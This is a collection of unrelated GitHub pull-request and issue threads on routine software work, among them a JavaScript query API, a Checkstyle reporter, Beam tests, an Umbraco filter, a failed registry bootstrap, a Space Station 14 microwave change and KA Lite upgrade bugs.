  by: ['user_id', 'done'],
  select: { cost: 'sum' },
  where: function(model) {},
  having: function(result) {},
  comparator: '-cost',
  accumulate: true
}); // = [{user_id: 3, done: true, cost: 456}, {user_id: 3, done: false, cost: 123}]

Ideally, Query should be used as the core storage of models over NeuroMap for NeuroDatabase & NeuroRelations so they can take advantage of all the sweet methods.
This is one big task!

Add ability to load from a string (URL) which is passed to the rest variable.

Add neuro.query( query ) and rest.query( query ) which returns an array given a query. A query can be whatever the rest implementation supports. For example: a URL string OR an object with a method, url, and data properties.

Add extendArray function (same parameters as extend function) which provides the best way to extend an array.


Add checkstyle xml formatter.

This basically adds the same xml format built by grunt-complexity's Checkstyle reporter. The thresholds for deciding what severity the checkstyle issue has, are hardcoded right now. The 'severity' property should probably be attached to the report object before formatting the output.
I needed this for letting Jenkins interpret the results easily, by using the Checkstyle plugin. I guess other people have the same issue.

This makes me wish we had testing already in place for the reporter. Bit of a bummer, but this looks good to me. Please squash your branch down to a single commit and I'm happy to merge this.

Done.
As it's pretty much the existing xml formatter modified for the checkstyle format, I guess it works for now, but you're right, we should add tests. I'll be happy to contribute.


Update List constructor to act like of for non-array values

The Naan Array

This PR addresses the first item on this issue.
It allows the List constructor to do one of two things. If it receives in Array it will slice it and use that as the wrapped value. But if it receives any other value, it will lift that value into an Array for use internally.
It will still throw if it receives no input.

Coverage remained the same at 100.0% when pulling 024966d812d33fc3fe857f6d658a1f708c588254 on list-construction into d698ec746edaf40798636c92d002fd3417618e85 on 0.3.0.


[BEAM-9287] Add Postcommit tests for dataflow runner v2

with hardcoded image for now
Please add a meaningful description for your change here

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

R: @ananvay @markflyhigh

Run Seed Job

Run Seed Job

Thanks a lot Ankur!!
Overall LGTM, a few minor comments to track the changes made here. Perhaps we should have a bug track those internally so we don't forget to address these?

Run Seed Job

Thanks a lot Ankur!!
Overall LGTM, a few minor comments to track the changes made here. Perhaps we should have a bug track those internally so we don't forget to address these?

Thanks for taking a look.
I don't see any comments. Maybe they are in draft :)
github is a bit weird :)

Ah, sorry. Are the comments visible now?

Run Python Dataflow V2 ValidatesRunner

A Validates runner run for dataflow v2 https://builds.apache.org/job/beam_PostCommit_Py_VR_Dataflow_V2_PR/1/

Ah, sorry. Are the comments visible now?

Yup

Thanks, LGTM!

LGTM, thanks!

Thanks!


Adds "Use Internal Action Filter" Action Filter

With PR #10, we've had to swap out our calls to contentResource.getScaffold resource, as that doesn't work with a Guid ID.
However in doing that we actually lose an Umbraco goodie, namely that the api data is passed through the OutgoingEditorModelEvent action filter
https://github.com/umbraco/Umbraco-CMS/blob/release-7.4.0/src/Umbraco.Web/Editors/ContentController.cs#L144
Unfortunately the OutgoingEditorModelEvent attribute is marked as internal, so we can't use it directly.
https://github.com/umbraco/Umbraco-CMS/blob/release-7.4.0/src/Umbraco.Web/WebApi/Filters/OutgoingEditorModelEventAttribute.cs
I initially added an action filter that used reflection to only call the OutgoingEditorModelEventAttribute.OnActionExecuted method.
But then abstracted it to handle any other action filters that are marked as internal.

My personal reason for doing this, is that I often use markdown in property descriptions, which no longer worked after PR #10.  (For reference, see my gist for rendering markdown).
@mattbrailsford What do you think? Too hacky?

Hacky, yes, but at least it's self contained :)
That did cross my mind when I replaced it.
Only other way I could think to get around it is if there was a way to transfer the request as we are basically calling that action anyway, we just have to first convert the guid to an alias. Not sure though. Both are pretty hacky :D

I'm thinking that if/when Umbraco's OutgoingEditorModelEventAttribute is public, then it'd be a quick attribute rename (and removal of hacky attribute).

Gotta love hats, *cough*, hacks!


bootstarp failed

TASK: [registry | wait_for registry ready] ************************************
2017-06-05 14:22:25.447700 (last task costs 0:00:00.942449)
failed: [bootstrap-node] => {"attempts": 5, "changed": false, "cmd": ["curl", "-m", "2", "http://registry.lain/v2/"], "delta": "0:00:00.128498", "end": "2017-06-05 14:22:52.588119", "failed": true, "rc": 0, "start": "2017-06-05 14:22:52.459621", "stdout_lines": ["<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">", "", "<title>502 Bad Gateway</title>", "", "
502 Bad Gateway
", "
The proxy server received an invalid response from an upstream server. Sorry for the inconvenience.
", "Please report this message and include the following information to us.
", "Thank you very much!
", "
", "
", "URL:	", "http://registry.lain/v2/	", "
", "
", "Server:	", "node1	", "
", "
", "Date:	", "2017/06/05 14:22:52	", "
", "
", "
Powered by Tengine/2.1.1", ""], "warnings": ["Consider using get_url module rather than running curl"]}
stderr:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   603  100   603    0     0   4824      0 --:--:-- --:--:-- --:--:--  4824
stdout: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title>502 Bad Gateway</title>

502 Bad Gateway

The proxy server received an invalid response from an upstream server. Sorry for the inconvenience.

Please report this message and include the following information to us.

Thank you very much!

URL:
http://registry.lain/v2/

Server:
node1

Date:
2017/06/05 14:22:52

Powered by Tengine/2.1.1

msg: Task failed as maximum retries was encountered

FATAL: all hosts have already failed -- aborting

和 #127 相似。

原因是缺少一条路由,推测是calico的bug
ip route add <IP_ADDRESS>/32 dev cali8e492f7c729

这个问题在升级了 calico 之后就没有遇到过了，暂时关闭，如果有其他人遇到再打开

Duplicate of #127.


Animal cruelty nerf - Microwaves no longer instantly gib living creatures + Microwaves now heat in real-time

About the PR
TL;DR: Hammy and other holdable critters can now be practically revived if microwaved, but still die as a result.
This PR is straight-forward, and does exactly what it says in the title. This also tweaks the level of heat that microwaves apply to objects within, as microwaves previously didn't affect object temperature much at all. The side effect of this is that this means microwaves are now a practical way to reheat Hammy if they're cold, just like the hamster reanimation story!
Why / Balance
This primarily addresses a pretty grating issue: Players stuffing Hammy in the microwave over the tiniest of perceived slights. This is excruciatingly awful for players who wanna play Hammy, as being microwaved meant being gibbed, which is, effectively, an instant round removal. Needless to say, this is incredibly toxic.
So this PR makes a slight rework to how microwaves work, and how mobs react to being microwaved. More specifically, mobs no longer have an explicit reaction to being microwaved, and microwaves now heat their contents in real-time. This PR also adds a 100x multiplier to the heat that microwaves apply to objects, as before, they surprisingly didn't affect object temperature much at all, due to the way thermodynamic heat resistance is modeled.
This ultimately means that microwave cooking time is a factor in microwaving mobs; Rats take just a few seconds to kill in the microwave, whilst Hammy takes about 30 seconds to fall into crit from being microwaved! The amount of time a mob takes to properly microwave depends on a combination of their specific heat and physical mass.
Hammy in particular benefits the most from this change. It's a lot easier to revive a corpse than it is a pile of gibs, which means it's now very much practical to revive Hammy (whether that's through admin tools or various ingame methods) after a trip in the microwave.
Technical details
This PR removes OnBeingMicrowaved from the server's BodySystem.cs, tweaks the amount of heat applied to objects within microwaves, and makes microwaves do AddTemperature() every update. Straight-forward and self-explanatory.
While we're at it, we also moved the heat multiplier to a vareditable variable within MicrowaveComponent. Yknow, just in case any badmin wishes to casually create a thermonuclear microwave.
Media
https://github.com/space-wizards/space-station-14/assets/6356337/964adc10-043c-46e0-814d-9c5b110a5145

[x] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Breaking changes
N/A
Changelog
:cl: Bhijn and Myr

tweak: Mobs are no longer instantly gibbed when microwaved.
tweak: Microwaves now heat their contents in real-time.
tweak: Microwaves are now capable of properly heating their contents, such that microwaveable mobs will still reliably die as expected when microwaved. (They just won't be gibbed.)

Honestly this kind of feels like a change just towards killing hamlet which could / should probably be fixed some other way (ie letting them exit the microwave). Probably just being reluctant to change it but microwaves gibbing animals is kind of funny / iconic and I also think it's a shame to see the bloody microwave sprite go.

Something we thought of but ultimately decided against is adding a critical temperature point, at which point the mob within the microwave gibs. However, would cause the problematic behavior of people gibbing Hammy over the tiniest of perceived slights to still persist, albeit in a more prolonged fashion that, frankly, would feel even worse than what the current microwave behavior encourages.
Something that might work is adding that behavior but with a tag that can be used to blacklist specific mobs from microwave gibbing, but in a systems-driven game like this, it often ends up feeling incredibly obtrusive for specific mobs/objects to be outright exempt from hyperspecific mechanics.

HamletBurger real

100x multiplier to the heat that microwaves apply to objects,

wont this make microwaves stupidly op for chem

Nope, chem's completely unaffected by this; microwaves affect TemperatureComponents and SolutionContainerManagerComponents separately, and the former simply does not affect the latter.

It's pretty funny watching Hamlet explode in a microwave instantly, maybe make a fix where they can exit like LankLTE said.

Long-term would be better to eventually gib but I think this is fine.


Isa guides

Added guide on the different file types

#51
Also added a note on this #52

run npm run fornax in root
http://<IP_ADDRESS>:8080/docs/guides/isa_FileTypes.html


Handle alternate shared object filename for Amazon Linux php55/php56

This is necessary when using Amazon Linux php55 and php56 packages.

Thanks!
Currently this causes the chefspec (and possibly serverspec) tests to fail (see Travis CI build failure). Can we update the fixtures by defining apache.mod_php5.so_filename for each supported platform in test/fixtures/platforms and updating the tests to match?

This seems to be handled by @drpebcak commits.


Start documenting trim warnings

The trim warnings are currently documented at https://github.com/mono/linker/blob/main/docs/error-codes.md
but we want to slowly move over to the official docs.

ping @gewarren It looks like all the requested changes have been made.

@gewarren Thanks!


Add Apache 2.0 License

This pull request adds an Apache 2.0 License to the repository. Fixes https://github.com/AdrianKlessa/QuantumZeno/issues/1.

Hello! Thank you for taking an interest in this repository. I've added an MIT license to the project. Since it's also a permissive license, similarly to Apache 2.0, I think that should be fine for you? I'll close this for now but feel free to create a new issue if you have any more concerns.


Auto/fix autoware monitors readme

Description

Review Procedure

Remarks

Pre-Review Checklist for the PR Author
PR Author should check the checkboxes below when creating the PR.

[ ] Read pull request guidelines
[ ] Code follows coding guidelines
[ ] Assign PR to reviewer

Checklist for the PR Reviewer
Reviewers should check the checkboxes below before approval.

[ ] Commits are properly organized and messages are according to the guideline
[ ] Code follows coding guidelines
[ ] (Optional) Unit tests have been written for new behavior
[ ] PR title describes the changes

Post-Review Checklist for the PR Author
PR Author should check the checkboxes below before merging.

[ ] All open points are addressed and tracked via issues or tickets
[ ] Write release notes

CI Checks

Build and test for PR / build-and-test-pr: Required to pass before the merge.
Build and test for PR / clang-tidy-pr: NOT required to pass before the merge. It is up to the reviewer(s). Found false positives? See the guidelines.
Check spelling: NOT required to pass before the merge. It is up to the reviewer(s). See here if you want to add some words to the spell check dictionary.

We replace Readme.md of autoware_state_monitor with README.md here.
https://github.com/tier4/AutowareArchitectureProposal.iv/pull/635


Upstream supports more ENV vars

src/etc/modsecurity.d/modsecurity-override.conf in upstream is more configurable than in this image.
https://github.com/coreruleset/modsecurity-crs-docker/blob/master/src/etc/modsecurity.d/modsecurity-override.conf
vs
https://github.com/coreruleset/modsecurity-docker/blob/master/src/etc/modsecurity.d/modsecurity-override.conf
Upstream allows things like MODSEC_AUDIT_LOG_TYPE to override the image.

Hi @timwsuqld!
Thank you for your report.
We'll investigate this issues.

I'll provide a PR that will consolidate both files.
Or if you want to provide a PR, please just go ahead @timwsuqld?

After more investigation, I don't see why we can't just stop override the modsecurity-override.conf file from upstream. I can't see anything that we add to it for our use? I think it was in this repo before it was updated upstream, but now we could just remove it from our build.

Oh yeah, that's smart. @fzipi , do you see something that speaks against it?

100% agreed. Let's go for it!

Do you want to provide a PR @timwsuqld or shall I?

@franbuehler PR created

Great, thank you very much for the PR!
I will test the behavior and review the PR.


Support for copier.yaml files that include other files

copier configuration files can include other files ([more info here](https://copier.readthedocs.io/en/stable/configuring/#include-other-yaml-files)).
This change adds support for those files by using yaml.safe_load_all to load the yaml content rather than yaml.safe_load.

Unfortunately, this change doesn't seem to work with all multi-doc yaml files as input. I'm trying to find a workaround.


Facilities, Videos, Languages tabs aren't showing during the upgrade.

Branch: Develop (OS X installer)
Current behavior: Facilities, Videos, Languages tabs  aren't showing if 0.15.1 KA Lite OS X installation is upgraded to 0.16.
Expected behavior: Facilities, Videos, Languages tabs must show.
Steps to reproduce:

Download the 0.15.1 KA Lite OS X installer release.
Install it on your machine.
Start the KA Lite server and navigate to MANAGE tab and observe that the Facilities, Videos, Languages tabs are visible.
Download the 0.16 KA Lite OS X installer release and install it to upgrade the 0.15.1 KA Lite OS X installation on your machine.
Start the KA Lite server and navigate to MANAGE tab and observe that the Facilities, Videos, Languages tabs are not visible.

I attached a screenshot below.

Rerun make assets.

Hi @aronasorman .
We can't rerun the make assets during upgrading 0.15.x  to 0.16.x when it is on the client machine.
The client machine may not have a developer tools to run the make assets.
The behavior above manifested when I upgrade 0.15.x to 0.16.x in my virtualbox.

@arceduardvincent make assets should be done during the installer build process, and the new assets just copied to the right directory.

We have already issued the "make dist" on the build.sh .
Should we rerun the make dist again?
I found out some invalid solution on how we deal with that issue, when we remove the ". kalite"
the Facilities, Videos, Languages tab` are showing so I was suspecting that we have a problem with upgrading the static files on the newer one?.

If the new installer has the assets built by make assets, then replacing the current assets should do the trick. No need to run make assets in the client.

Fixed in #342.


API of reading statistics in dashboard

Tasks

[ ] create API of reading statistics regarding:

reading times
reading counts

[ ] list last 6 months statistics on desktop, and list last 4 months on mobile

References

Product
Design

Issue requires review and rearrangement. Close it.


feat request: fontforge package

I would like to see fontforge package in MSYS

Would you consider writing the PKGBUILD script?

I never write scripts of this type, but if i get some time I give a try